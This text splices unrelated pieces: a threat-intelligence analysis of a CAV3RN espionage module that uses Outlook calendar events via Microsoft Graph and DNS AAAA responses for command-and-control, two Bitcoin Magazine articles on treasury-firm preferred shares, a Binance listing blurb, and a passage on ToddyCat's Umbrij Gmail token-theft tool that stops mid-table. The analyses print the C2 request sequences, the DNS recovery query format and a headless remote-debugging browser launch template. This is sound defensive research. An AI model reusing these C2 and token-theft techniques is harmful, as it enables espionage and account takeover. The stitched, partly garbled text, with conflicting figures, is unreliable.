Introduction

In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026, we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture with a dedicated WebSocket-enabled C2 communication component and a more extensible plugin system designed to support modular post-exploitation capabilities.

Subsequently, Check Point Research publicly reported on the same controller-based architecture in July 2026. However, neither our previous research nor the subsequent public reporting covered the latest communication component analyzed in this report.

Following our June 2026 publication, we identified a .NET Native AOT communication module that is apparently designed to replace the previous HTTP/WebSocket component. It exchanges commands and results through Outlook calendar events accessed via Microsoft Graph. If Microsoft Graph authentication or tenant validation fails, the module attempts to retrieve replacement connection settings through DNS AAAA responses.

During the preparation of this report, additional public research covering this communication component became available. The research presented in our article is based on our independent analysis and includes several additional implementation details that complement the existing public reporting.

Technical details

The previously reported controller-based CAV3RN architecture separates C2 communication from command execution. The controller, uxtheme.dll, generates and maintains the seven-character Agent ID, manages the polling loop, processes built-in commands, and dispatches other tasks or commands to separate plugins. The previously used communication component, n-HTCommp.dll, retrieved commands and transmitted execution results over HTTP/WebSocket.

The module performs the same communication role but uses Outlook calendar events accessed through Microsoft Graph. Similarly to the previous version, its get and send interface and use of the same controller-generated Agent ID suggest that it was designed to replace the previous communication component. However, because the corresponding updated controller was not recovered, this replacement role is assessed rather than directly observed.

C2 communication module

The communication module, AzureCommunication.dll, is a DLL compiled with .NET Native AOT, consistent with several other components of the Project CAV3RN framework that are publicly documented. Such a compilation method turns the managed application into native machine code and removes most of the metadata and intermediate language that normally make .NET assemblies straightforward to analyze.

The module exposes its functionality through a single export named QueryInterface. We expect an updated controller to load the DLL, resolve this export, and pass it a null-terminated UTF-16 string. The accepted input format closely follows the interface used by the previously documented CAV3RN controller.

get_;;_<agent-id>_,_<legacy-url>  
send_;;_<agent-id>_,_<legacy-url>_,_<result>

The _;;_ delimiter separates the operation from its arguments, while _,_ separates the arguments.

For get, the module only uses the first argument as the Agent ID. For send, it uses only the Agent ID and the result. In both cases, the additional legacy URL is ignored. It remains part of the interface for compatibility with the controller, even though the new module obtains its destination and credentials from its own Microsoft Graph configuration.

Outlook calendar events as a C2 channel

The DLL contains a complete default configuration, including the Microsoft Entra tenant ID, application credentials, target mailbox, DNS bootstrap host, and cryptographic keys required to establish communication.

Before processing either get or send operation, the module looks for a relative file named logAzure.txt. Because the code supplies only a filename, Windows resolves it against the current working directory of the process hosting the DLL.

If logAzure.txt exists, the module reads and deserializes it. If it is absent, the module builds the configuration from the hardcoded values and writes the complete object to disk with the following structure:

{
  "TenantId": "******-****-****-****-**********",  // Microsoft Entra tenant ID
  "ClientId": "********-****-****-****-************",  // application/client ID
  "ClientSecret": "********************************************",
  "UserEmail": "***@*********.co.il", // Compromised target Microsoft 365 mailbox
  "Host": "cloudlanecdn[.]com", // DNS bootstrap domain
  "PublicKey": "-----BEGIN RSA PUBLIC KEY-----\r\n[omitted]\r\n-----END RSA PUBLIC KEY-----", // outbound encryption public key
  "PrivateKey": "-----BEGIN RSA PRIVATE KEY-----\r\n[omitted]\r\n-----END RSA PRIVATE KEY-----" // inbound decryption private key
}

Using the resulting configuration, the module creates a Microsoft Graph client and validates access by requesting the tenant’s organization record through a GET request to  https://graph.microsoft.com/v1.0/organization.

Attempting this request causes the Azure Identity library to obtain an OAuth application token:

POST https://login.microsoftonline.com/<TenantId>/oauth2/v2.0/token
client_id=<ClientId>
client_secret=<ClientSecret>
scope=https://graph.microsoft.com/.default
grant_type=client_credentials

After successful authentication, the module includes the token in subsequent Graph requests using the Authorization: Bearer <access-token> header. The module uses the default calendar of the configured mailbox as a dead-drop channel. Commands, heartbeats, and results all occupy the same fixed one-hour window 2050-05-13 22:00–23:00 UTC.

Scheduling the events for 2050 makes them unlikely to appear in ordinary calendar views. The calendar event subject identifies each event’s purpose and associated Agent ID. Heartbeat and result subjects append the fixed suffix 1500 to this value; the suffix is not part of the Agent ID.

Subject format	Purpose	Module behavior
Event ID: <agent-id>	Operator-to-agent command	Searches for the event, downloads its attachments, and deletes it after consumption
Boss update ID: <agent-id>1500	Agent heartbeat	Deletes the previous heartbeat event and creates a replacement
Boss Report ID: <agent-id>1500	Agent-to-operator command output	Creates an event, uploads encrypted result attachments, and assigns the final subject

Receiving a command

For a get request, the module queries calendarView and filters the results by the Agent ID:

GET /v1.0/users/***@*********.co.il/calendarView?startDateTime=2050-05-13T22:00:00&endDateTime=2050-05-13T23:00:00&$filter=contains(subject,'Event ID: <agent-id>')

If Graph returns one or more matches, the module selects the first returned event and requests its attachments:

GET /v1.0/users/***@*********.co.il/events/<EventId>/attachments
Authorization: Bearer <access-token>

After obtaining the attachment response, the module deletes the calendar event:

DELETE /v1.0/users/***@*********.co.il/calendar/events/<EventId>
Authorization: Bearer <access-token>

Our analysis found a consistent difference in capitalization between command and result attachments:

Attachment name	Direction	Associated subject
file0.txt	Operator to agent	Event ID: <agent-id>
File0.txt	Agent to operator	Boss Report ID: <agent-id>1500

Inbound command decryption

Inbound commands use a combination of RSA and AES-GCM encryption. Once the attachments have been sorted and concatenated, the reconstructed encrypted command buffer begins with a 256-byte RSA-encrypted block containing the 32-byte AES key. The communication module decrypts this block with the RSA private key stored in its configuration, using RSA-OAEP with SHA-256.

The following 12 bytes contain the AES-GCM nonce, while the final 16 bytes contain the authentication tag. Everything between the nonce and tag is ciphertext. The module uses the recovered AES key to decrypt and authenticate this ciphertext with AES-256-GCM.

After RSA-OAEP-SHA256 and AES-256-GCM decryption, the 63-byte ciphertext produces {"cid": "alXBCzcDl8hBuNE", "type": "self", "cmd": "003_;;__,_"}.

The cid field appears to serve as a unique command-correlation identifier. As described in a previous publication of the framework, when the operator sets the JSON type field to self, the controller routes the command to its internal handler rather than dispatching it to an external plugin. In this command, the cmd field contains 003_;;__,_, where command 003 instructs the controller to toggle debug logging. After decryption, the communication module returns the complete command to the external controller through QueryInterface.

Sending command output

For a send request, the controller passes the command output to the communication module. The module encrypts the output using a newly generated AES-256-GCM key and protects that key with the configured RSA public key. It then divides the encrypted payload into chunks of up to 10 MiB.

To publish the result, the module creates a calendar event with the temporary subject d and attempts to add each encrypted chunk as a sequentially named attachment, such as File0.txt and File1.txt. After adding the attachments, it changes the subject to Boss Report ID: <agent-id>1500, marking the event as a completed result.

This process uses the following sequence of Microsoft Graph requests:

POST   /v1.0/users/***@*********.co.il/calendar/events
POST   /v1.0/users/***@*********.co.il/calendar/events/<EventId>/attachments
PATCH  /v1.0/users/***@*********.co.il/events/<EventId>

Together, the uploaded attachments contain fragments of one encrypted result package: the RSA-encrypted AES key, AES-GCM nonce, encrypted command output, and authentication tag. Recovering outbound results requires the private key corresponding to the outbound public key. This private key is assessed to be held separately by the attacker.

Heartbeat handling

The module maintains a heartbeat event identified by the subject Boss update ID: <agent-id>1500. The module searches the same fixed calendar window for a previous heartbeat associated with the agent. If one exists, the module deletes it and creates a replacement event with the temporary subject d through the following sequence of Microsoft Graph requests:

GET    /v1.0/users/***@*********.co.il/calendarView 
DELETE /v1.0/users/***@*********.co.il/events/<EventId> 
POST   /v1.0/users/***@*********.co.il/events

Finally, it updates the newly created event through the following PATCH request, replacing the temporary subject d with Boss update ID: <agent-id>1500.

PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Authorization: Bearer <access-token>

{
  "subject": "Boss update ID: <agent-id>1500"
}

Heartbeat events use the same one-hour window in 2050 but contain no attachments.

The following figure summarizes the module’s operational workflow.

DNS AAAA configuration recovery mechanism

When OAuth token acquisition or the subsequent GET /v1.0/organization validation request fails, the module attempts to retrieve replacement TenantId, ClientId, ClientSecret, and UserEmail values through actor-controlled AAAA responses.

The module uses cloudlanecdn[.]com as its configuration-recovery domain. The domain is delegated to four actor-controlled authoritative nameservers, ns1 through ns4.cloudlanecdn[.]com, allowing the operator to generate different AAAA responses according to the Agent ID, configuration field, and fragment offset.

The module submits the generated DNS queries through the operating system’s configured recursive resolver, which follows the domain’s delegation to one of the authoritative nameservers. The returned IPv6 address is treated as a 16-byte container for protocol data rather than as a network destination.

For both get and send operations, the controller supplies the seven-character Agent ID as the first argument to QueryInterface. The communication module converts its UTF-8 bytes into two-character uppercase hexadecimal values. For example, SFmLgQZ becomes 53 46 6D 4C 67 51 5A, which the module concatenates as 53466D4C67515A.

The hexadecimal identifier is then embedded in every recovery query. The module retrieves four Microsoft Graph configuration values in a fixed order, with each value assigned a numeric index:

Index	Configuration value
0	TenantId
1	ClientId
2	ClientSecret
3	UserEmail

Determining the field length through .p. queries

For each configuration value (TenantId, ClientId, ClientSecret, and UserEmail), the module first sends an AAAA query to determine the value’s total length: d.<hex-agent-id>.<field-index>.p.<host>.

In this format, <hex-agent-id> is the uppercase hexadecimal representation of the Agent ID supplied by the controller. The <field-index> identifies the requested configuration value according to the table above; for example, index 0 represents TenantId. The p marker indicates a length request, while <host> contains the configured DNS recovery domain, cloudlanecdn[.]com.

As an example, the following AAAA DNS query requests the length of the TenantId associated with Agent ID SFmLgQZ:

d.53466D4C67515A.0.p.cloudlanecdn[.]com

The AAAA response 2001:24:1234:5678:9abc:def0:1122:3344 corresponds to the byte sequence 20 01 00 24 12 34 56 78 9A BC DE F0 11 22 33 44. The module discards the first two bytes and interprets the following two bytes, 00 24, as a big-endian field length. This produces the value 0x0024, or 36 bytes. The remaining 12 bytes are ignored. The initial 2001 group is not treated as a network destination or strictly validated as a protocol marker; it simply occupies the two bytes that the module discards.

In the observed example, the same process produced a 36-byte TenantId, a 36-byte ClientId, a 40-byte ClientSecret, and a 28-byte UserEmail. The protocol itself supports other lengths because each value’s length is supplied dynamically by its .p. response.

To illustrate this process, we reproduced the protocol in a controlled environment using a laboratory domain.

Retrieving configuration data through .q. queries

After obtaining the field length from the .p. response, the module allocates a buffer of exactly that size and initializes an offset to 0. It then requests the field data using the following format: d.<hex-agent-id>.<field-index>.<offset>.q.<host>.

The <field-index> identifies the requested configuration value, while <offset> specifies where the fragment belongs in the output buffer. After checking for the sentinel address, the module discards the first two bytes of each normal .q. response and copies up to 14 of the remaining bytes. For the final response, it copies only the bytes required to reach the declared field length.

Queries continue at 14-byte offsets until the declared field length has been recovered.

The following figure shows the three .q. requests required to reconstruct a 36-byte TenantId.

In our laboratory responses, the first two bytes appear as the IPv6 group 2001 and are discarded. The responses at offsets 0 and 14 each provide 14 bytes, while the response at offset 28 supplies the final eight bytes. Concatenating and decoding these fragments produces the complete TenantId, 6f9d2a41-8c73-4b56-a1e8-2d407c95f3ab, as shown in the example figure.

The module repeats this procedure for ClientId, ClientSecret, and UserEmail. After reconstructing each value, it decodes the buffer as UTF-8, updates the corresponding configuration field, and writes the complete configuration to logAzure.txt. Once all four fields have been recovered, the module creates a new Graph client, repeats the /organization validation request, and resumes the original get or send operation if validation succeeds.

The DNS recovery mechanism updates only the TenantId, ClientId, ClientSecret, and UserEmail fields. It does not replace the configured DNS recovery host, RSA public or private keys, offering limited rotation for updating the domain itself that is used within the DNS fallback mechanism.

Failure handling and the sentinel AAAA response

In this module, the hard-coded IPv6 address 2001:4998:44:3507::8000 acts as a failure sentinel. After resolving an AAAA query, the module converts the first returned address to a string and compares it with this value before extracting any bytes. If the values match, it raises an exception and does not interpret the response as either a field length or configuration data.

The address belongs to Yahoo’s 2001:4998::/32 allocation. We could not determine why the developers selected it. The authoritative backend may return it for an unknown Agent ID, an unavailable field, an invalid index or offset, or an agent for which recovery is disabled. These conditions remain hypothetical because the backend was unavailable and the module handles every sentinel response in the same way.

Infrastructure

Historical DNS data shows that cloudlanecdn[.]com was registered on December 24, 2025. The domain initially used the Namecheap-operated nameservers dns1.registrar-servers.com and dns2.registrar-servers.com. On May 2, 2026, passive DNS first observed a transition from these vendor-managed nameservers to custom nameservers under cloudlanecdn[.]com.

Domain	IP	First seen	ASN	Hosting
ns1.cloudlanecdn[.]com	216.126.237[.]197 144.172.108[.]205	May 2, 2026	AS 14956	RouterHosting LLC
ns2.cloudlanecdn[.]com	216.126.237[.]197 144.172.108[.]205	May 2, 2026	AS 14956	RouterHosting LLC
ns3.cloudlanecdn[.]com	216.126.237[.]197 144.172.108[.]205	May 2, 2026	AS 14956	RouterHosting LLC
ns4.cloudlanecdn[.]com	144.172.108[.]205	May 21, 2026	AS 14956	RouterHosting LLC

Although the domain was delegated to four nameserver hostnames, their shared IP addresses reveal logical redundancy rather than four independently hosted DNS servers.

The shift from vendor‑managed DNS to custom in‑bailiwick authoritative nameservers aligns with the module’s DNS recovery design.

The DNS timeline overlaps with this new module’s development. Passive DNS first recorded the custom delegation on May 2, after the controller-and-plugin architecture was observed in April and before the May 19 timestamp stored in the new module. Because the custom authoritative infrastructure supports the module’s recovery protocol, we assess with moderate confidence that the infrastructure and module were prepared as part of the same development cycle.

Attribution

In our previous report, we attributed Project CAV3RN to OilRig (APT34) with low confidence. Analysis of the newly identified module provides additional evidence supporting this link.

Microsoft-hosted services for C2
Several OilRig malware strains have used Microsoft-hosted services for C2. RDAT malware exchanged commands and results through EWS email messages, and there are cases reported with the SC5k malware using Office 365 drafts, and OilCheck malware using Microsoft Graph to access Outlook drafts. CAV3RN uses the same class of service but stores commands and results in Outlook calendar events.

Secondary recovery mechanism for cloud C2
ESET previously documented OilBooster, which retrieved a replacement OAuth refresh token from a likely compromised website after repeated failures communicating with Microsoft OneDrive.

OilBooster used HTTP to recover a refresh token, whereas CAV3RN uses DNS AAAA records to recover four configuration fields. In both cases, the secondary mechanism restores access to the primary cloud C2 channel.

Compromised regional infrastructure
OilRig has previously used compromised infrastructure belonging to organizations in the regions it targets. Solar malware communicated through the compromised website of an Israeli human-resources company, while Whisper/Veaty malware used compromised Iraqi government Microsoft 365 mailboxes. The CAV3RN module similarly uses a compromised Microsoft 365 mailbox belonging to an Israeli law firm.

Based on the evidence discussed above, we retain our low-confidence assessment that Project CAV3RN is associated with OilRig. The new module shares several behavioral patterns with previously reported OilRig tooling, including the use of Microsoft-hosted services, attachment-based command exchange, and a secondary mechanism for restoring access to a cloud C2 channel. However, we identified no direct code reuse or infrastructure overlap.

Conclusions

The new module extends CAV3RN’s controller-and-plugin architecture with a Microsoft Graph-based communication transport. Its architectural continuity suggests that it was designed to replace the previous HTTP/WebSocket component with Outlook calendar events. If Graph authentication or validation fails, its DNS recovery protocol is designed to retrieve replacement connection settings.

The framework changed repeatedly between December 2025 and May 2026, indicating that development remains active. We continue to track this activity.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

CAF021DDA726B8BA049C2AA395E505A1      AzureCommunication.dll
C092B02FBC0FDF7EE9608DD016673806      NewProject.dll
29B2B8C5D99F05BFCDD0D8D976EB5678      AzureCommunication.dll

Domains and IPs

cloudlanecdn[.]com
ns1[.]cloudlanecdn[.]com
ns2[.]cloudlanecdn[.]com
ns3[.]cloudlanecdn[.]com
ns4[.]cloudlanecdn[.]com
google.com[.]ayalon-print.co[.]il
clipeditskill[.]com
accesslinkssl[.]com
216[.]126[.]237[.]197
144[.]172[.]108[.]205

Bitcoin Magazine

Bitcoin’s New Debt Machine is Facing Its First Major Test

Public companies kept stacking Bitcoin in June, but the month’s real story played out in a corner of the market that did not exist a couple of years ago: the preferred shares that treasury firms now use to fund their coin purchases. 

A new report from BitcoinTreasuries.net calls June the first true stress test for this “digital credit” market, and the results offer a mixed but telling verdict on where corporate Bitcoin adoption goes next.

First, the buying. Public treasuries added close to 9,000 BTC before sales in June, or about 7,300 BTC on a net basis, worth some $427 million at the month-end price of $58,398. That counts as moderate growth, and two names did most of the work. 

Michael Saylor’s Strategy added 3,625 BTC net, and Strive added 3,364, with each company spending in the neighborhood of $200 million. 

Strip out those two and the rest of the field bought about 2,000 BTC. For the full second quarter, the report estimates 110,000 BTC in net additions, a pace that beat the two quarters before it.

The context matters here. Bitcoin sat well below its October 2025 peak near $126,000 and dipped under $60,000 during the month. That backdrop set the stage for the drama in digital credit.

Preferred shares to fuel bitcoin

To understand why that drama matters, it helps to know how the model works. Companies such as Strategy no longer rely on their own cash to buy Bitcoin. They issue preferred shares that promise investors a fixed or variable dividend, sell them near a $100 par value, and route the proceeds into coins.

Strategy’s flagship product, STRC, and Strive’s version, SATA, became the two biggest of these instruments. For a stretch, they traded in a tight band around par, and investors treated them as a place to park money at a healthy yield.

That calm bred risk. As the report explains, a long run near par let leverage build inside STRC as buyers borrowed to amplify the trade. When Bitcoin’s price slid, that leverage turned into a trigger. 

Starting June 18, STRC and SATA fell below their $100 par. Leveraged holders got margin-called, forced sales pushed prices down, and STRC bottomed near $75. SATA weakened from a mix of its own pressures and spillover from STRC. 

This was not a crisis of the underlying dividends, which kept flowing, but a crisis of positioning, the report framed.

The recovery came fast enough to reassure the faithful. By July 2, STRC changed hands near $87 and SATA near $97, prices that held into the report’s July 9 publication. Neither Strategy nor Strive missed a dividend. 

Strategy’s bitcoin holdings

The report notes that Strategy held 847,363 BTC at an average cost near $75,651 and had a $1.1 billion dollar reserve in mid-June, while Strive kept an 18-month dividend reserve. The pitch: these are cash-flow questions, not solvency questions.

Strategy did not sit still. Saylor’s firm rolled out share and digital-credit buybacks, raised STRC dividends, and set up a dollar reserve, a package meant to steady prices while it keeps buying coins. Saylor framed it as a balance between commitment to Bitcoin and the “liquidity, discipline, and active capital management” the credit strategy demands.

Since then, Strategy has sold $3,588 and now holds 843,775 bitcoin. 

The market voted with volume. Combined STRC and SATA trading topped $10 billion in June, a monthly record for each, and that came without new at-the-market share sales feeding the pipeline. Demand for the paper, in other words, did not vanish when the price broke.

BitcoinTreasuries.net polled its readers, an audience it concedes leans pro-digital-credit, and found more optimism than fear. A slim majority, 52%, did not see the price drop as a major problem. Most holders sat tight, and 52% of all respondents bought STRC or SATA after June 18. 

At the same time, three-quarters expect price swings to recur, so nobody is calling the risk gone. Looking ahead, 77.8% expect the digital-credit supply to grow by the end of 2027, and about a fifth expect it to clear $50 billion.

This post Bitcoin’s New Debt Machine is Facing Its First Major Test first appeared on Bitcoin Magazine and is written by Micah Zimmerman.

Listings tell you something about demand, even when they do not tell you everything about quality. Binance’s addition of IO token shows that decentralized compute remains a narrative exchanges still want exposure to.

That fits neatly with how AI-linked crypto plays have managed to stay relevant even as market attention rotates.

For more details, visit the official Binance platform.

TL;DR

• Binance listed IO token on spot markets.
• The move gives more visibility to io.net and the decentralized compute theme.
• AI and compute-linked tokens remain one of the market’s strongest narrative clusters.

Why IO Fits The Current Market Mood

Projects tied to distributed compute, AI infrastructure, and DePIN-style stories are still drawing interest because they offer a narrative bridge between crypto infrastructure and a much bigger external tech theme.

An exchange listing does not validate the whole thesis, but it does make the asset easier for the market to express a view on.

The Exchange Signal Matters

When a venue like Binance adds a token, it increases visibility, liquidity potential, and speculative access all at once. That is often enough to shift market attention even before fundamentals catch up.

For now, the listing reinforces a simple point: AI infrastructure remains a lane the market is still willing to chase.

This report is based on information from Binance.

This article was written by the News Desk and edited by Samuel Rae.

Source: Binance

Bitcoin Magazine

Preferred Stock Is Becoming Bitcoin Treasury Firms’ Financing Tool of Choice: Report

A new class of Wall Street securities has grown from an experiment into a multibillion-dollar market in under two years, and a June 2026 research report from BitcoinTreasuries.net argues the expansion has just begun.

The report, produced in partnership with the DeFi protocol Apyx, tracks the rise of preferred shares issued by public companies and backed by their bitcoin holdings. Such shares now carry a combined market value of about $13 billion. That figure represents close to 1% of the $1.3 trillion global preferred market, a share the report’s authors expect to reach 3 to 5% by 2030 and as much as 10%, or $130 billion, beyond that horizon.

The instrument sits at the center of a financing puzzle facing companies that hold bitcoin as a treasury asset. Firms such as Strategy, led by Michael Saylor, want long-duration capital to buy more bitcoin without diluting common shareholders or taking on debt that must be repaid at a fixed date. Bitcoin’s price swings make that balance difficult. 

Bitcoin traded near $124,720 in October 2025, then fell to below $60,000s by mid-June 2026, a drawdown of about 47% in eight months.

Preferred shares offer a path around the problem. When a company issues them, its common share count does not rise, so existing owners avoid dilution. The shares are classified as equity rather than debt, which means no maturity date and no forced repayment. In exchange, holders receive a dividend that ranks ahead of common stock.

 For income investors shut out of bitcoin’s upside, the structure converts the token’s volatility into a yield product.

Preferred shares are pushing Bitcoin expansion

Those yields dwarf what fixed-income markets pay. The five main bitcoin-backed preferred securities in the U.S. carry effective yields between 10.8% and 15.2%, against the 3 to 4%offered on high-yield savings accounts. 

Strategy’s lineup accounts for most of the market: STRF, STRC, STRK and STRD together hold a market value near $12.5 billion. Strive, an asset manager turned bitcoin treasury company, issued a fifth security, SATA, with a market value around $330 million.

The report’s central claim is that demand outstrips supply. Fixed-income institutions such as mutual funds, banks, pensions and insurers hold $10.9 trillion in U.S. treasuries. A shift of 10 to 20 basis points from that pool would generate $10.9 billion to $21.8 billion in demand, enough to validate the near-term market projection on its own. 

Supply, though, is capped by the amount of bitcoin available as collateral. Of the 20 million bitcoins in circulation, holdings in exchanges, spot ETFs and mining firms are excluded as customer assets or operating reserves. 

That leaves the 1.26 million bitcoins held in corporate treasuries, worth about $83 billion. Strategy alone controls some 845,000 of them, or 67%.

Collateral coverage is the feature the report leans on to make the case for safety. Bitcoin-backed preferreds maintain coverage ratios of 3.8 to 4.5 times, meaning issuers hold $3.80 to $4.50 in bitcoin for every $1 of preferred equity.

 By comparison, the median large-bank mortgage in the third quarter of 2025 advanced 76 cents against every dollar of home value. “The security of these instruments is significantly higher than 95% of the bonds in the market,” Jeff Walton, chief risk officer at Strive, said in the report, “because they’re actually backed by capital, not future cash flows.”

Not every firm qualifies to issue. Walton set out requirements: a clean balance sheet free of senior secured debt, scale to support an issuance of $100 million or more, and a team versed in tax treatment, covenant design and dividend policy. 

Encumbered bitcoin, he said, ranks ahead of preferred equity and would block most deals. Strive itself used a $225 million SATA offering in January to retire debt inherited from its acquisition of Semler Scientific, a move that left all of its bitcoin unencumbered.

The risks are structural rather than hidden. Strategy’s common stock, MSTR, acts as a volatility amplifier, and it has fallen more than bitcoin over the past year. “When bitcoin’s price declines, Strategy’s will dip more,” said Tony Lau, an investment partner at Primitive Ventures, who described a possible cascade in the stock. 

Three of the four Strategy preferreds trade at discounts to their $100 par value. The dividends themselves depend on a company’s ability to keep raising capital against a rising bitcoin price, though both Strategy and Strive have disclosed cash reserves sufficient to cover at least twelve months of payments.

Strategy CEO Phong Le told investors in February that the firm’s balance sheet holds unless bitcoin falls to $8,000 and stays there for five or six years.

For now, the report frames preferred equity as an instrument in its “0 to 1 moment” — a market where appetite exceeds what issuers can produce, and where the gap favors the companies willing to build the product.

This post Preferred Stock Is Becoming Bitcoin Treasury Firms’ Financing Tool of Choice: Report first appeared on Bitcoin Magazine and is written by Micah Zimmerman.

Introduction

We continue to share details on the malicious techniques and toolsets used by the ToddyCat APT group. In the first part of this report, we examined the group’s attacks aimed at stealing data from browsers, as well as from local and cloud email services. The methods used in that campaign indicated that ToddyCat was attempting to access corporate correspondence while evading monitoring tools. However, all of the group’s methods we described previously are effectively detected by EPP and EDR solutions.

The attackers continued their search for ways to bypass security solutions and developed a new tool to gain access to a victim’s cloud account via the Google API. Armed with this tool, the group automated all stages of the attack and managed to remain undetected by monitoring systems.

In this part of the report, we break down the mechanics of this new attack and analyze the tool that was used to automate it. We’ll also discuss how to detect and defend against this threat.

Umbrij

In this campaign, the attackers focused their attention on corporate email communications hosted on Gmail, targeting access compromise via APIs. Because the Google API relies on the OAuth 2.0 protocol for authorization, applications can use an OAuth token to access requested email resources. To acquire this token, the threat actors developed a tool called Umbrij and used it to connect to the browser’s management console in headless mode via a remote debugging port. Through a series of requests, they obtained an OAuth authorization code, which they subsequently exchanged for an access token to reach the target resources via the API. We have dubbed this technique Shadow Token via Remote Debug (STRD).

This attack is viable on Chromium-based browsers. If the user has not logged out of their Gmail account, the browser maintains an active session. The attackers exploit this: they launch the browser, connect via the remote debugging port to take control, and send a request to the Gmail service to grant access to the Google account resources within the context of the user’s saved session.

During our investigation of this attack, we discovered several versions of the Umbrij tool. These versions included a variety of helper functions designed for debugging, as well as for searching and selecting user accounts within the browser, among other tasks.

Kaspersky solutions detect this tool with the following verdicts: HEUR:Trojan-PSW.MSIL.Umbrij.gen, HEUR:Trojan.MSIL.Agent.gen, HEUR:Trojan-PSW.MSIL.Agent.gen.

Execution

The Umbrij tool was discovered during a proactive threat hunting operation: a scheduled task, KasperskyEndpointSecurityEDRAvp, was running on a user host, launching a digitally signed file. Kaspersky solutions do not create scheduled tasks with that name; the attackers were attempting to masquerade their malicious activity as a legitimate process.

The signed file then used the DLL sideloading technique to load the malicious tool.

Throughout our observation period, we identified the following legitimate files vulnerable to the DLL sideloading technique that were used to launch Umbrij:

1. BDSubWiz.exe: a component of the Submission Wizard in Bitdefender ConnectAgent, which is used to support connection features and interaction with other Bitdefender services or agents. This file insecurely loads a file named log.dll.
2. VSTestVideoRecorder.exe: a component of the video-recording tool used for testing with Visual Studio (VS Test). This executable insecurely loads a file named Microsoft.VisualStudio.QualityTools.VideoRecorderEngine.dll.
3. GoogleDesktop.exe: the discontinued Google Desktop Search application for indexing files and performing quick searches on a local Windows computer. This executable insecurely loads a file named GoogleServices.dll.

These files were used to load different versions of Umbrij; the same legitimate file could be leveraged to launch more than one variant. In total, we discovered three versions of Umbrij, which we refer to as a, b, and c for convenience.

The tool itself is a DLL written in .NET and obfuscated with ConfuserEx, an open-source obfuscator for .NET applications.

Umbrij is managed with the help of parameters passed through a command line at startup, although it is occasionally executed without any parameters. Below are examples of the command lines observed in attacks against users:

"c:\Users\Public\BDSubWiz.exe" -regex <name> -deepsearch
c:\windows\vss\bds.exe

However, these are not the only parameters the tool can accept and process. During the analysis of its executable code, we discovered additional parameters that vary depending on the version of Umbrij. See the table below for the parameters and their descriptions.

Version	Command	Description
a	-regex <string>	Used in conjunction with the -deepsearch parameter. Specifies a substring to search for within the user_name field of the user profile file, which typically contains the email address. The tool will utilize the user profile that matches this specified substring
a	-user <username>	Specifies the system username under which the tool will run
a	-runas-currentuser	Configures Umbrij to run within the execution context of the current user
a	-deepsearch	Enforces additional checks on the user_name field in the user profile: verifying that it is not empty and that it contains the substring specified in the -regex parameter
a, b, c	-path <path>	Specifies the full path to the directory containing the browser’s executable file
a, b, c	-browser <both|msedge|chrome>	Specifies which browser the tool should target: Google Chrome, Microsoft Edge, or both
a, b, c	-debugport <port>	Specifies the remote debugging port number
a, b, c	-sync	When this parameter is specified in the URL, the value 1095133494869 replaces 279448736670 in the permission request
b	-domainAd	Specifies the domain name if the user account is a domain account
b	-savepdf	Instructs Umbrij to save a screenshot of the user profile as a PDF file
c	-lport	Same as debugport

Environment preparation

At startup, the tool evaluates several prerequisites required to carry out the attack and performs preparatory actions to subsequently compromise the Gmail account.

First, Umbrij verifies the availability of the port that will be designated for browser debugging. To accomplish this, the tool utilizes a function named ChekPortAvailable() (original spelling retained), which accepts the target port number as a parameter. It then retrieves information about active connections on the host using the .NET GetActiveTcpConnections() function from the System.Net.NetworkInformation namespace. The tool iterates through each connection in a loop, comparing the port number to the one it is checking.

After this, the tool retrieves the user context. It searches the system for the explorer.exe process and duplicates its token, retaining all of its privileges (T1134.003 Access Token Manipulation: Make and Impersonate Token). This is the exact same mechanism used by another tool in the group’s arsenal, TomBerBil, which we covered previously.

By default, Umbrij duplicates the token of the first explorer.exe process it encounters. If multiple users are logged in to the system, the -user <username> switch can be used to specify the name of the target user whose token to duplicate. If the -runas-currentuser switch is specified, the tool will execute within the context of the current user without duplicating any tokens.

Next, Umbrij constructs the path to the browser application folder within the user’s local application data repository. To do this, it uses the Environment.SpecialFolder.LocalApplicationData command to retrieve the repository directory from the environment variable and appends the directory of the target browser. The tool then searches for the Local State file in the following folders:

• %LOCALAPPDATA%\Google\Chrome\User Data\Local State
• %LOCALAPPDATA%\Microsoft\Edge\User Data\Local State

See below for an example of the Local State file structure.

Within this file, the tool searches for the info_cache array, which stores information about browser user profiles. Umbrij enumerates all user profiles and looks for those containing a user_name field that includes an email address. The presence of an email address indicates that the user is authenticated to a Google service. While the tool can interact with every profile it finds, if the -regex <string> parameter is passed through a command line, it searches for the specified substring within the email addresses being enumerated and proceeds exclusively with those matches.

Next, Umbrij creates the following directories for Google Chrome and Microsoft Edge, respectively:

• %LOCALAPPDATA%\Google\Chrome\BackupFiles\
• %LOCALAPPDATA%\Microsoft\Edge\BackupFiles\

The tool copies the following user files and folders of each target user profile into these directories:

• IndexedDB: a folder containing a relational database used for client-side storage of structured data
• Local Storage: a component of the browser’s web storage that provides a key-value mechanism for storing data on the client side
• Network: a folder where the browser stores files related to network requests and caching, such as the network cache and session files
• Login Data: a file that stores saved passwords for various websites and applications
• Login Data For Account: a file that stores credentials associated with a Google account or other synchronized accounts within the browser
• Preferences: a file containing profile-level browser settings
• Secure Preferences: a file that stores protected configurations, such as security and synchronization data
• Web Data: a file that stores auto-fill data

If these files are locked by other processes, the tool includes a dedicated function to force-copy them.

As the next step, the tool searches the “Program Files” and “Program Files (x86)” directories for the browser installation folder. Once it locates the executable file and successfully copies all required files, it is ready to proceed with acquiring the authorization code.

Acquiring the authorization code

In the next phase of execution, Umbrij launches Google Chrome, Microsoft Edge, or both browsers sequentially, depending on the parameters passed in the command line. It then passes arguments to the browser based on the following template:

"\"{1}\" --user-data-dir=\"{0}\" --remote-debugging-port={2}  --profile-directory=\"Default\" --headless https://www.google.com/"

It populates the template with the following values:

• {0}: the path to \BackupFiles\, where the user profile files were copied
• {1}: the path to the browser executable file
• {2}: the remote debugging port number

The table below describes the parameters used in this browser launch template:

Parameter	Description
–user-data-dir	Specifies the path to the root directory that will store the shared browser data and user profiles
–remote-debugging-port	Opens a port for remote browser debugging over the DevTools protocol. This switch is commonly used for automated testing with frameworks like Selenium
